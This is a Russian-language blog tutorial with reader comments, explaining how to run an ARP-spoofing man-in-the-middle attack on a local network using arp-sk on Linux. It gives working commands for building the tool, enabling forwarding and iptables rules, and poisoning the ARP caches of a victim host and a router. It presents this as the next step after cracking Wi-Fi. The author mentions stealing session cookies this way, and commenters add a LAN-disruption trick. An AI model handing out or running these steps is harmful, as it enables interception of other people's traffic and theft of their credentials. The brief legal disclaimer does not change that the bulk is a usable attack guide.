Практика использования arp-spoofing

    В данной статье я расскажу как, используя пакет утилит arp-sk в операционной системе GNU/Linux реализовать атаку man-in-the-middle на протокол arp.
    image

    Для чего вообще нужна такая атака:
    На хабре достаточно много статей например для взлома Wi-Fi. Но что делать после того, как ключ взломан? Тут можно увидеть один из вариантов действий.

    Немного теории


    Протокол arp необходим для передачи в среде Ethernet. Потому как передача осуществляется по mac-адресам. Подробнее о mac-адресе можно почитать в википедии.
    ru.wikipedia.org/wiki/MAC-%D0%B0%D0%B4%D1%80%D0%B5%D1%81
    Для того, чтобы сообщение было передано от одного сетевого устройства к другому, в частности от Victim к Router компьютеру необходимо осуществить сопоставление IP-адрес — mac-адрес. Рассмотрим этот процесс с помощью утилиты tcpdump
    # tcpdump -i eth1 -vvv
    21:11:14.076068 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.4.1 tell 192.168.4.17, length 28
    21:11:14.077852 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.4.1 is-at 00:50:ba:46:5d:92 (oui Unknown), length 46


    первый пакет — компьютер отправляет широковещательное сообщение с целью узнать mac-адрес, который принадлежит ip-адресу 192.168.4.1 и просьбой отослать ответ на 192.168.4.11. Здесь не видно, но компьютер 192.168.4.11 при отправлении данного запроса указывает свой mac-адрес в качестве источника и широковещательный mac-адрес(FF:FF:FF:FF:FF:FF) в качестве адреса получателя. Сетевое устройство, получив данный пакет должно произвести сравнение ip-адреса со своим, и в случае совпадения послать следующий пакет.
    второй пакет — устройство с адресом 192.168.4.1 отвечает на mac-адрес, который был указан в запросе со своего mac-адреса, что адрес 192.168.4.1 находится на 00:50:ba:46:5d:92.

    В связи с тем, что arp-запрос отсылается на широковещательный адрес то данное сообщение могут получить любой, кто находится в одном широковещательном сегменте с источником. Посему возникает один из вариантов атаки — постоянно отправлять сообщение о своем mac-адресе. При этом, когда компьютер-жертва отправляет arp-запрос на роутер, то сразу же получает ответ от атакующего. Соответственно траффик будет направлен атакующему.

    Наша задача: получить траффик компьютера Victim с помощью компьютера Attacker.
    Для этого мы будем использовать самопроизвольный arp-ответ. В протоколе arp предусмотрена возможность отправления устройством arp-запроса или ответа в случае, если такое не требуют другие устройства. Для чего это надо — например, если изменился mac-адрес маршрутизатора. В случае, если компьютер поддерживает самопроизвольный arp то он перезапишет легитимный адрес на адрес атакующего.

    Проведение атаки


    Установка необходимого ПО

    Arp-sk:
    # wget sid.rstack.org/arp-sk/files/arp-sk-0.0.16.tgz
    # tar xvzf arp-sk-0.0.16.tgz
    # cd arp-sk-0.0.16/
    # ./configure
    # make

    В случае успешной компиляции пакета, устанавливаем его
    # make install
    Варианты запуска команды можно посмотреть с помощью
    # arp-sk --help
    нам понадобятся следующие ключи:
    Usage: arp-sk
    -r --reply отправлять ARP ответ

    -d --dst получатель в link layer (<hotname|hostip|MAC>)
    -s --src источник в link layer (<hotname|hostip|MAC>)

    -D --arp-dst получатель в ARP сообщении ([hostname|hostip][:MAC])
    -S --arp-src источник в ARP сообщении ([hostname|hostip][:MAC])

    -i --interface указать интерфейс (eth0)


    Подмена адреса

    Мы должны отправить роутеру и компьютеру arp-сообщения о том, что mac-адрес другого устройства наш.
    перед этим мы настроим компьютер Attacker для перенаправления траффика. Для этого включим перенаправление трафика в ядре:
    # echo 1 > /proc/sys/net/ipv4/ip_forward
    Теперь разрешим перенаправление траффика в пакетном фильтре. У меня используется iptables, поэтому я добавляю разрешающие политики в цепочку FORWARD. Так как у меня сеть для атаки используется тестовая, то я могу добавить следующие правила:
    # iptables -I FORWARD 1 -s 192.168.4.17 -j ACCEPT
    # iptables -I FORWARD 2 -d 192.168.4.17 -j ACCEPT

    Эти 2 правила разрешают перенаправление траффика атакующим компьютером для адреса 192.168.4.17.
    Внимание! Данные правила являются потенциально опасными, особенно, если у вас несколько сетевых интерфейсов. В таком случае рекомендую использовать более точные правила.

    Посмотрим адреса
    Наш адрес:
    # ifconfig eth1 | grep HW
    eth1 Link encap:Ethernet HWaddr 00:13:CE:5C:11:34


    Адреса других устройств
    # arp -an
    ? (192.168.4.1) at 00:50:ba:46:5d:92 [ether] on eth1
    ? (192.168.4.17) at 00:1c:bf:41:53:4b [ether] on eth1

    Посмотрим таблицу маршрутизации компьютера Victim:
    image

    Теперь отправляем устройствам следующие arp-пакеты: подставляем в качестве mac-адреса другого устройства свой.
    Первый от имени 192.168.4.17 о том, что его mac-адрес теперь 00:13:CE:5C:11:34 отправляем на 192.168.4.1 (00:50:ba:46:5d:92)
    Второй от имени 192.168.4.1 о том, что его mac-адрес теперь 00:13:CE:5C:11:34 отправляем на 192.168.4.17 (00:1c:bf:41:53:4b)

    # arp-sk -i eth1 -r -s 00:13:CE:5C:11:34 -S 192.168.4.17 -d 00:50:ba:46:5d:92 -D 192.168.4.1
    # arp-sk -i eth1 -r -s 00:13:CE:5C:11:34 -S 192.168.4.1 -d 00:1c:bf:41:53:4b -D 192.168.4.17


    У нас будет следующий вывод:
    + Initialization of the packet structure
    + Running mode "reply"
    + Ifname: eth1
    + Source MAC: 00:13:ce:5c:11:34
    + Source ARP MAC: 00:13:ce:5c:11:34
    + Source ARP IP : 192.168.4.1
    + Target MAC: 00:1c:bf:41:53:4b
    + Target ARP MAC: 00:1c:bf:41:53:4b
    + Target ARP IP : 192.168.4.17

    --- Start classical sending ---
    TS: 21:30:44.338540
    To: 00:1c:bf:41:53:4b From: 00:13:ce:5c:11:34 0x0806
    ARP For 192.168.4.17 (00:1c:bf:41:53:4b):
    192.168.4.1 is at 00:13:ce:5c:11:34


    Посмотрим теперь на компьютере Victim arp-таблицу:
    image

    Собственно все. Теперь можно запустить свой любимый сниффер и получить необходимые пакеты. Например ping до яндекса
    image

    Добавление. В случае, если на компьютере установлен брандмауэр, то он может выдать сообщение о подмене адреса.

    Данная информация приведена только для ознакомления. Автор напоминает вам о Статье 272 УК РФ «Неправомерный доступ к компьютерной информации»
    Share post
    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 29

      +1
      так завтра на работе попробую, спасибо…
        +2
        Забыл добавить, что если стоит брандмауэр, то тогда он выдаст сообщение о подмене адреса.
          0
          на компьютере жерве?? и брэндмауэр Windows выдаст сообщение?
            0
            На компьютере жертве. Виндовс не выдает, а вот Касперский с антихакером выдает.
            • UFO just landed and posted this here
                0
                Есть такая штука как арп-кеш. Файервол регулярно его проверяет и в случае, если произошло изменение (то есть был один, а стал другой) — выдается сообщение.
                  0
                  Видимо по аналогии с arpwatch. Если «жертва» и «нежертва» находяться в разных вланах, подозреваю что ничего такого не вылезет ;)
                    0
                    равно как и арп спуф для них работать не будет.
                      0
                      как бы будет — если самоцель заспуфить местный dhcp без бинда маков к портам на свиче.
        –2
        такая подмена теоретически не перехватит трафик меджу жервой и «где-то-там», а просто отберет его у жертвы.
        кроме того, большой вопрос с маршрутизатором — он по идее должен прирезать такой цирк с маками.
          0
          Если бы вы прочитали полностью текст, то вы бы увидели, что для того, чтобы жертве доходил трафик — включается перенаправление в iptables. Плюс лично у меня таким образом есть кукисы для контакта, а если бы трафик жертве не доходил — tcp соединение бы просто не установилось.

          Маршрутизатор не знает — является ли такая подмена цирком или это нормальная ситуация. Как он должен прирезать? Заблокировать мак адрес? Но там же клиент сидит. Единственный вариант — сделать запись статической, а не динамической. Но в сохо маршрутизаторах такая функция не реализована.
            +1
            маршрутизатор это граница широковещательного домена, вы не получите броадкаст от узла если висите на разных портах маршрутизатора.
              0
              он видит дубли маков, клиент ведь таки ломится к нему?
                0
                Вы про то, что у маршрутизатора получается несколько компьютеров в присоединенной сети с одинаковым мак-адресом? Так такое делать никто не запрещает. Маршрутизатор при отсылке пакета делает проверку только на ip->arp но не наоборот. Так что по сути маршрутизатор и не понимает то, что у нескольких устройств одинаковый мак-адрес. Так как эта ситуация является нестандартной, то обработка этого в SOHO-маршрутизаторах не делается, чтобы не нагружать процессор.
                0
                В soho много чего нереализованно, но вычисляются эти атаки как 2х2. Основной признак — маршрутизатор слышит в сети пакет предназначенный жертве — пакет сообщает что ip принадлежащий маршрутизатору находиться на мак адресе не принадлежащем маршрутизатору.
                  0
                  В подобных атаках бОльшей проблемой является борьба с ней, чем обнаружение ее. Не каждая железка сможет определить с какого порта идут пакеты, а уж с вайфаем еще сложней — там нельзя просто выдернуть клиенту провод, а маки меняются как перчатки.
                    0
                    Борьба тут просто невозможна… лучшее что может сделать железо — это предупредить админа. Если клиентов мало, то можно прописать мак статикой.
                    А как у некоторых провайдеров — широковещательные сегменты по 2500 человек. Там вариантов нет.
              +1
              Если WiFi взломан, то смысл делать arp-спуфинг, когда можно просто снимать трафик и анализировать его.
                +3
                Возможен вариант — как у меня, когда я не вижу другого клиента. А также с помощью arp-спуфинга можно еще и трафик проводных клиентов получать по вайфаю.
                0
                Спасибо, пойду попробую ((:
                  0
                  Снова началась неделя кулхацкеров?
                    –1
                    Через роутер вообще никак… Насколько я понял, что компьютер атакующего и жертвы находятся в одной подсети. Значит трафик идет через не роутер, а свитч.
                      +3
                      Да-да. А завалить (почти) любую локалку можно рассылкой default_gw is 00:00:00:00:00:00 броадкастом :)
                      Но это году так в 2001-ом еще в ettercap'е было реализовано всё.
                        –1
                        То, что надо, спасибо!
                        Пытался снифферить свою сеть — вижу только свой и широковещательный траффик. Собирался поспуфить, но руки всё не доходили… А тут как раз мануал, круто!
                          +3
                          > Посмотрим таблицу маршрутизации компьютера Victim:

                          Это не таблица маршрутизации, а таблица сопоставления физических адресов IP адресам.
                          Таблица маршрутизации — это совсем другое.
                            0
                            Извиняюсь, поправил.
                            0
                            на каждую хитрую… есть свой arp inspection :) потом придется объяснительную писать, зачем вам понадобилось перехватывать чужой трафик.
                              0
                              Хм.
                                0
                                Странно, что пока никто не придрался к make install.

                                Only users with full accounts can post comments. Log in, please.